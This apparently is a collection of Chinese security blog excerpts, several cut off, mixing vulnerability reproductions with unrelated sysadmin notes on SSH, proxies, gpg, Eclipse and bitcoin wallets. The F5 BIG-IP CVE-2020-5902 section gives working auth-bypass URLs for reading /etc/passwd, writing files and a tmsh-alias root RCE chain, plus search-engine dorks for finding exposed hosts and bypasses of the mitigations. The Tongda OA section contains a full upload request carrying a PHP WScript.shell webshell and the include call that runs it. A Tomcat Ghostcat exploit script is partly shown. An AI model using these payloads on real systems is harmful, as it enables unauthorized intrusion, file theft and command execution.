Author:LSA

F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)重现及注意点

//本文首发先知社区:https://xz.aliyun.com/t/8007 0x00 概述 20200706,网上曝出F5 BIG-IP TMUI RCE漏洞。 F5 BIG-IP的TMUI组件(流量管理用户界面)存在认证绕过漏洞,该漏洞在于Tomcat解析的URL与request.getPathInfo()存在差异,导致可绕过权限验证,未授权访问TMUI模块所有功能,进而可以读取/写入任意文件,命令执行等。   0x01 影响范围 BIG-IP 15.x: 15.1.0/15.0.0 BIG-IP 14.x: 14.1.0 ~ 14.1.2 BIG-IP 13.x: 13.1.0 ~ 13.1.3 BIG-IP 12.x: 12.1.0 ~ 12.1.5 BIG-IP 11.x: 11.6.1 ~ 11.6.5 搜索关键词: shodan http.favicon.hash:-335242539 http.title:”BIG-IP&reg;- Redirect” fofa title=”BIG-IP&reg;- Redirect” tmui censys 443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5 443.https.get.title:”BIG-IP&reg;- Redirect” google inurl:”tmui/login.jsp” intitle:”BIG-IP” inurl:”tmu   0x02 漏洞重现 TMUI网站目录:/usr/local/www/tmui/ TMUI web server:Tomcat 0. 使用POC检测 https://1.2.3.4/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902 https://1.2.3.4/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp 1. 任意文件读取 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 2. 任意文件写入 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp         3. 列认证用户 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user   4. 列目录 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ 据David Vieira-Kurz(@secalert)说/tmp/下的sess_xxxxxxxxx文件可以替换cookie登录,但是试了几个都失败,可能是过期了……   5. RCE 1)tmshCmd.jsp?command=create+cli+alias+private+list+command+bash 2)fileSave.jsp?fileName=/tmp/cmd&content=id 3)tmshCmd.jsp?command=list+/tmp/cmd 4)tmshCmd.jsp?command=delete+cli+alias+private+list 多发送几次就能rce,基本都是root 记得还原   0x03 有缺陷的缓解方案1 1) 登录TMOS Shell(tmsh): tmsh 2) 编辑httpd组件配置文件 edit /sys httpd all-properties 3) 添加include代码 include ‘ <LocationMatch “.*\.\.;.*”> Redirect 404 / </LocationMatch> ‘ 4) 保存配置文件 ESC 并:wq 5) 保存系统配置 save /sys config 6) 重启httpd服务 restart sys service httpd   0x04 缓解方案绕过1 有缺陷的缓解方案正则限制了..; 但是/hsqldb这个接口加上;(分号)就可以绕过登录认证,进而反序列化,导致RCE 接着利用工具进行反序列化rce https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 挺鸡肋的,需要知道hsqldb密码,默认空 试过了几个都是socket creation error……   0x05 有缺陷的缓解方案2 include ‘ <LocationMatch “;”> Redirect 404 / </LocationMatch> ‘   0x06 缓解方案绕过2 虽然直接限制分号,但是可以用/hsqldb%0a绕过认证   0x07 防御方案 Command line tmsh edit /sys httpd all-properties Locate the line……

通达(tongda)OA文件上传和文件包含漏洞重现及分析

0x00 概述 20200317,网上爆出通达oa被利用0day中勒索病毒的消息,官方已出漏洞补丁。 该0day为利用文件上传和文件包含组合利用进行RCE,无须认证。   0x01 影响范围 2013,2013增强版,2015,2016,2017,v11 //补丁只看见v11(2020)有geteway.php(文件包含漏洞)补丁   0x02 漏洞重现 利用v11版本: 文件包含漏洞 http://localhost/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log   文件上传漏洞 上传文件路径在非webroot目录,如: “D:\MYOA\attach\im\2003\ddd.test.jpg” 请求数据包: POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.20.0 Content-Length: 633 Content-Type: multipart/form-data; boundary=ee65cd98fdbee896acd30a7b2552b6b5 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”P” x –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”UPLOAD_MODE” 1 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”DEST_UID” 1 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”ATTACHMENT”; filename=”test07.jpg” Content-Type: image/jpeg <?php $command=$_POST[‘cmd’]; $wsh = new COM(‘WScript.shell’); $exec = $wsh->exec(“cmd /c “.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> –ee65cd98fdbee896acd30a7b2552b6b5– 再利用文件包含执行php代码 json=%7B%22url%22%3A%22%2Fgeneral%2F..%2F..%2Fattach%2Fim%2F2003%2F1941158481.test07.jpg%22%7D&cmd=whoami 或者这样包含也行 http://127.0.0.1/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2003/1044529275.test09.jpg //实测无法直接执行phpinfo(); 利用windows的com组件绕过disable_function() <?php $command=$_POST[‘cmd’]; $wsh = new COM(‘WScript.shell’); $exec = $wsh->exec(“cmd /c “.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>   0x03 修复方案 打补丁   0x04 漏洞分析 PHP Zend 5.4解密php文件即可 文件上传漏洞分析 upload.php:5 $P = $_POST[‘P’]; if (isset($P) || $P != ”) { ob_start(); include_once ‘inc/session.php’; session_id($P); session_start(); session_write_close(); } else { include_once ‘./auth.php’; } 要有P参数否则会经过auth.php登录验证,不为空即可。 $DEST_UID = $_POST[‘DEST_UID’]; $dataBack = array(); if ($DEST_UID != ” && !td_verify_ids($ids)) { $dataBack = array(‘status’ => 0, ‘content’ => ‘-ERR ‘ . _(‘½ÓÊÕ·½IDÎÞЧ’)); echo json_encode(data2utf8($dataBack)); exit;……

Tomcat AJP 文件读取/包含漏洞(CVE-2020-1938 )重现及分析

0x00 概述 202002,网上曝出tomcat ajp的文件读取/包含漏洞。 Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。 —https://www.chaitin.cn/zh/ghostcat   0x01 影响范围 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 0x02 漏洞重现 1】 xray   去掉.100的注释,攻击也失败。   2】 Python版 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi 文件读取 文件包含 //修改源码,加上jsp后缀即可文件包含 #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct   # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(“>h”, -1) l = len(s) return struct.pack(“>H%dsb” % l, l, s.encode(‘utf8’), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, “>h”) if size == -1: # null string return None res, = unpack(stream, “%ds” % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) ==……

SSH配置免密码登录及注意点

原理 //图片来源于zhihu Ubuntu A sudo apt-get install openssh-server /etc/ssh/ssh_config RSAAuthentication yes PubkeyAuthenticationyes #AuthorizedKeysFile %h/.ssh/authorized_keys chmod 644 authorized_keys chmod 700 -R .ssh   Win7 B ssh-keygen   chmod 600 lsb_id_rsa   B复制id_rsa.pub为A的.ssh/authorized_keys 1.ssh-copy-id(方便不用手工控制权限,小心覆盖原来的authorized_keys文件)ssh-copy-id -i ~/.ssh/id_rsa.pub <username>@<host> 2.scp 3.手动复制   注意点: 如果添加公钥后,还是无法访问,也可能是ServerB主机上面的一个文件known_hosts中已经存在ServerA的ip信息,删除重新访问即可。 Connection closed by $IP 可能是超过系统默认失败次数了,然后清理就ok了~【faillog -a;faillog -r】 在前面步骤都正确无误的情况下,每次远程登录还是提示让输入密码,这时候有可能是权限问题: chmod 644 authorized_keys再次登录就ok了~【如果是Red Hat 5.6的话,最好改成600,否则认为是不安全的~】 证书如果有passphrase则第一次key登录要输入这个密码 要保证.ssh和authorized_keys都只有用户自己有写权限。否则验证无效 使用私钥生成公钥 ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub   在远程登录的时候可能会发现,在输入完用户名后需要等很长一段时间才会提示输入密码。其实这是由于 sshd 需要反查客户端的 dns 信息导致的。可以通过禁用这个特性来大幅提高登录的速度。首先,打开 sshd_config 文件: sudo nano /etc/ssh/sshd_config 找到 GSSAPI options 这一节,将下面两行注释掉: #GSSAPIAuthentication yes #GSSAPIDelegateCredentials no然后重新启动 ssh 服务即可。   参考资料 https://blog.csdn.net/u012031380/article/details/80569217 https://blog.csdn.net/netwalk/article/details/12952051    

linux/windows命令行设置代理

Windows set http_proxy=http://127.0.0.1:8888 set https_proxy=http://127.0.0.1:8888   set http_proxy_user=test set http_proxy_pass=123456   set http_proxy=socks5://127.0.0.1:1080 set https_proxy=socks5://127.0.0.1:1080   http_proxy=http://userName:password@proxyAddress:port =空就是取消   Linux $ export http_proxy=http://127.0.0.1:8888 $ export https_proxy=http://127.0.0.1:8888   $ export http_proxy=socks5://127.0.0.1:1080 $ export https_proxy=socks5://127.0.0.1:1080   $ export ALL_PROXY=socks5://127.0.0.1:1080   $ unset http_proxy $ unset https_proxy $ unset ALL_RPOXY   proxychain   GIT git config –global http.proxy http://127.0.0.1:8888 git config –global https.proxy http://127.0.0.1:8888   git config –global http.proxy socks5://127.0.0.1:1080 git config –global https.proxy socks5://127.0.0.1:1080   git config –global –unset http.proxy git config –global –unset https.proxy   参考资料 https://blog.fazero.me/2015/09/15/让终端走代理的几种方法/  

gpg usage

pgp:商业加密软件 gpg:自由免费加密软件 用户ID:邮件地址或者hash 生成/列举密钥 gpg –gen-key gpg –list-keys –list-secret-keys 删除密钥 gpg –delete-key [用户ID] gpg –delete-secret-keys 71FBED38 导出公钥 gpg –armor –output public-key.txt –export [用户ID] gpg –armor –output private-key.txt –export-secret-keys gpg –output ./tor.keyring –export 0xEFxxx 上传公钥 gpg –send-keys [用户ID] –keyserver hkp://subkeys.pgp.net gpg –fingerprint [用户ID] gpg –fingerprint 42xxxxxxxxxxxxxx / gpg –keyserver hkp://subkeys.pgp.net –send-keys [用户ID] 导入密钥 gpg –import [密钥文件] gpg –keyserver hkp://subkeys.pgp.net –search-keys [用户ID] gpg –keyserver hkp://keys.gnupg.net –recv-keys 13xxx 加密 gpg –recipient [用户ID] –output demo.en.txt –encrypt demo.txt / gpg -o encrypted_520.haha –encrypt -r 49xxxxxx haha   解密 gpg –decrypt demo.en.txt –output demo.de.txt / gpg demo.en.txt 签名 gpg –sign demo.txt 默认采用二进制储存 ASCII码签名 gpg –clearsign demo.txt gpg –detach-sign demo.txt gpg –armor –detach-sign demo.txt 加密+签名 gpg –local-user [发信者ID] –recipient [接收者ID] –armor –sign –encrypt demo.txt 验证签名 gpg –verify demo.txt.asc demo.txt gpg –verify gpg4win-3.1.11.tar.bz2.sig gpg4win-3.1.11.tar.bz2 gpgv –keyring ~/tor.keyring tor-browser-9.0.7-android-x86_64-multi.apk.asc tor-browser-9.0.7-android-x86_64-multi.apk MISC os.system(“cd %s && echo password | gpg –batch –passphrase-fd 0 –recipient Name –decrypt a.en > a.txt”)

eclipse调试java

本地调试: 双击左键下断点 远程调试: 本地:kali+eclipse 2019 12Eclipse IDE for Enterprise Java Developers. 远程:win7+tomcat7099 catalina.bat jpda start 修改 if not “%JPDA_ADDRESS%” == “” goto gotJpdaAddress set JPDA_ADDRESS=0.0.0.0:8000 如果只是本地那0.0.0.0就是localhost即可,否则会connection refused 注意调试tomcat要配置好src/java /* 不能同时多个连接,如果connection refused就disconnect一个 修改配置的方法 1、Linux中配置tomcat在catalina.sh中添加如下 CATALINA_OPTS=”-Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n”(不要换行,要在同一行) 2、Window中修改 catalina,bat文件,添加: Set “CATALINA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n” 或者startup.bat开头加上 Set  “CATALINA_OPTS=-Xdebug  -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n” */ Eclipse 运行tomcat //创建新服务器勾选,选择tomcat目录 运行项目   MISC eclipse切换jdk   切换整个eclipse环境的版本 JDK和JRE要切换一致 Window-> Preferences—>Java—>Compiler Window-> Preferences—>Java—>Installed JREs   切换某个项目的java版本 版本保持一致 项目->Properties->Java Build Path-> Libraries->双击当前JDK->在弹出的界面中选择要切换的版本 项目->Properties-> Java Compiler->右侧面板设置为需要的版本 //项目->Properties-> Project Facets->右侧面板勾上Java,Version设为需要的版本   //Java Build Path中引用的jdk的版本需要和’Project Facets’中配置的java版本一致。 //Run Configurations面板中的JRE配置也需要和’Project Facets’中配置的java版本一致。   导入java自带类库 一些项目提示缺少类,但是java自带,可以直接导入java的jar类库即可  

smbghost(CVE-2020-0796)漏洞POC汇总及简单分析

//首发先知社区:https://xz.aliyun.com/t/7440   0x00 概述 20200310,microsoft透露了一个smb v3协议漏洞。 20200312,microsoft出补丁。 漏洞命名:smbghost/deepblue…… Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标smb服务器或客户端上执行代码。 为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。   0x01 影响范围 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Server Core installation) Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server, Version 1909 (Server Core installation) 只影响 SMB v3.1.1,1903和1909   0x02 漏洞检测 //至发文(20200322)暂未发现公开EXP。 环境win10x64-1903专业版,关闭防火墙,关闭自动更新! python版 https://github.com/ollypwn/SMBGhost It checks for SMB dialect 3.1.1 and compression capability through a negotiate request. —README.md socket发送数据包 pkt = b’\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02″\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00′ 返回判断 if res[68:70] != b”\x11\x03″ or res[70:72] != b”\x02\x00″: print(f”{ip} Not vulnerable.”) else: print(f”{ip} Vulnerable”) 然而打上补丁修补后: 所以打上补丁后该脚本也会返回vulnerable导致误报。 python版带数据结构输出 https://github.com/ioncodes/SMBGhost 此脚本判断是否已启用SMBv3.1.1和SMB压缩,同1)也会误报 pip3 install hexdump 同样也是判断这两个位置 version = struct.unpack(“H”, response[68:70])[0] context = struct.unpack(“H”, response[70:72])[0] if version != 0x0311: print(f”SMB version {hex(version)} was found which is not vulnerable!”) elif context != 2: print(f”Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore……

聊聊比特币(bitcoin)钱包

//浅析比特币运行原理 硬件钱包(冷) 硬件钱包是一个实体电子设备,仅仅是为了比特币安全而创建。 其核心创新是在消费比特币之前,必须要将比特币钱包连上你的电脑、电话或者平板设备。 使用硬件钱包来离线生成和存储私钥可以确保黑客无法偷走你的比特币。 黑客必须要偷走硬件钱包,即使如此,它也被个人识别码所保护。 不要担心你的硬件钱包会被偷、丢失、或者被损毁;只要你创建一个私钥备份,你就可以重新找回你的比特币。 —https://www.buybitcoinworldwide.com/zh-cn/bitcoin-wallets/   Ledger Nano S KeepKey Trezor   软件钱包(热) 热钱包也是一种比特币钱包,其运行在联网的设备上,比如电脑、移动电话或者平板设备。 私钥是一串加密代码。因为热钱包是在联网设备上生成私钥,所以这些私钥不能被认为是百分之百的安全。 —https://www.buybitcoinworldwide.com/zh-cn/bitcoin-wallets/ 建议:开源+平台不保存私钥+免费+不占空间内存+易用+多功能+多平台+双重验证+多重签名+HD 比特派(android/ios) imToken(android/ios) Jaxx(android/ios/desktop,网站访问量低) Blockchain(android/ios,平台保存私钥) Coinbase(android/ios,平台保存私钥) Ownbit(android/ios) Electrum(android/ios/desktop,只支持btc) kcash Bitcoin Core(desktop,全节点,占用大量空间) Tokenall huobi GreenAddress Armory(高级,中心化,冷) Copay(开源,android/ios/desktop,有黑记录) MultiBit(desktop,不维护了) Bitcoin-Qt(占大量空间内存) bither(开源,android/ios/desktop)   在线/交易所钱包 BlockChain、火币、币安、OTCBTC、OKEX、Bigone、GDAX,inputs.io,greenaddress   纸钱包 将私钥打印到纸上离线保存,是冷存储。   脑钱包 脑钱包是基于确定性钱包,在创建种子时,不使用随机数,而通过用户输入的短语来创建,这样用户就可以仅记住自己的短语,就可以在任何时候借助工具恢复整个钱包。不过这个概念已经被废弃了。因为虽然简单但暴露了巨大安全问题。通过穷举短语就可以发现大量钱包,并盗取资金。不过这项技术确实有一定价值。 —https://www.zhihu.com/question/21478404/answer/391989244 https://www.yanshiba.com/code/hanwallet/   火币网交易   国内建议用rmb买usdt,再用usdt买btc 法币交易(rmb-虚拟币) 币币交易(虚拟币-虚拟币) 提现: 划转到法币交易再出售   相关资料 https://bitcoin.org/